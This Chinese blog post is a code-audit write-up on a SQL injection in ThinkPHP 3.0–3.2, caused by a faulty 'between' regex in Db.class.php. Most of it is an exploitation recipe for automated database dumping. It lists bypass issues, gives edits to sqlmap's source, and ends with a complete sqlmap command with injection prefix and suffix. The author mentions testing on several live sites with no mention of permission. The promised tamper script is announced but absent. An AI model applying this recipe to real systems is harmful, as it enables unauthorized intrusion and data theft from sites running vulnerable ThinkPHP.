[代码审计]ThinkPHP 3.0~3.2 SQL注入漏洞详解与利用

Posted by
0x00 背景
thinkphp最近漏洞频出,这个漏洞属于危害特别大的,以现有的程序员写法,应该都是有漏洞的。自己也测试了几个站点,在利用的时候碰到的一点问题,总结一下。
0x01 漏洞信息

漏洞文件位置ThinkPHP\Library\Think\Db.class.php

parseWhereItem函数由于对between关键字的正则匹配错误,导致了SQL注入。
详情可以上乌云:http://www.wooyun.org/bugs/wooyun-2014-087731
估计通过代码比对可以很快明白。
0x02 EXP
此次的目的是利用sqlmap去自动跑数据,仅测试了3个站点,不过遇到的问题挺多。
问题:
一、TP对0x7167656371形式的数据都解释成是数据表的字段,因此对于sqlmap判断注入存在的关键字是无法利用的,需绕过。
二、在GET请求时,由于TP的路由模式对URL中的参数取得时,未做URL解码处理,因此提交的时候不能使用URL编码,且不允许出现空格,会导致路由失效出现404。
三、在sqlmap会对0x7167656371的字符串形式’qgecq‘做匹配,且大小写敏感,不然会造成无法识别注入点。

四、GET请求时在替换完payload时应该替换空白字符,但是POST时是不需要的。
意味着–skip-urlencode参数可以根据需要添加。
解决方案:
sqlmap的返回验证机制中有一个头关键字,可以观察所有的插入字符都是q开头的,且大小写敏感。因此需要修改这两处。
(伟大娃娃首先想到了这个方式,仅需修改2个地方即可,我自己的做法还要改3个地方,要丢饭碗了)
识别解决方案:
修改sqlmap/lib/core/settings.py:
KB_CHARS_BOUNDARY_CHAR = ‘L’
修改slqmap/lib/core/common.py:
randomStr函数中
return retVal     =>     return retVal.upper()

 

另外根据ThinkPHP对数据库的操作要求,必须把0x0000形式直接转换成字符串,因此直接编写一个tamper来完成这个工作。
代码如下:
最后的命令:

sqlmap.py -u  “http://192.168.1.201:81/index.php/ThinkPHP0day?key[0]=&key[1]=a” -p key[0] –prefix “=’-‘” –suffix “%23between”  –tamper thinkphp0day.py –technique=U –dbms=mysql –union-char “156427916544” –skip-urlencode –dbs
0x03 后话
测试过E模式U模式,都是可以使用的。唯一需要注意的是–prefix位置需要自己去闭合。
备注:
代码审计过程中需要记录SQL语句执行的过程,但是到mysql的5.6版本时出现一点变动。
mysql5.6 增强了log记录-取消了通用log配置项,改成了general_log,且不记录错误的SQL语句(有同学可以可告知)。
mysql5.5 通用日志记录项目log,也有general_log项,可记录错误SQL语句。因此建议环境设置成5.5。

Leave a Reply

电子邮件地址不会被公开。 必填项已用*标注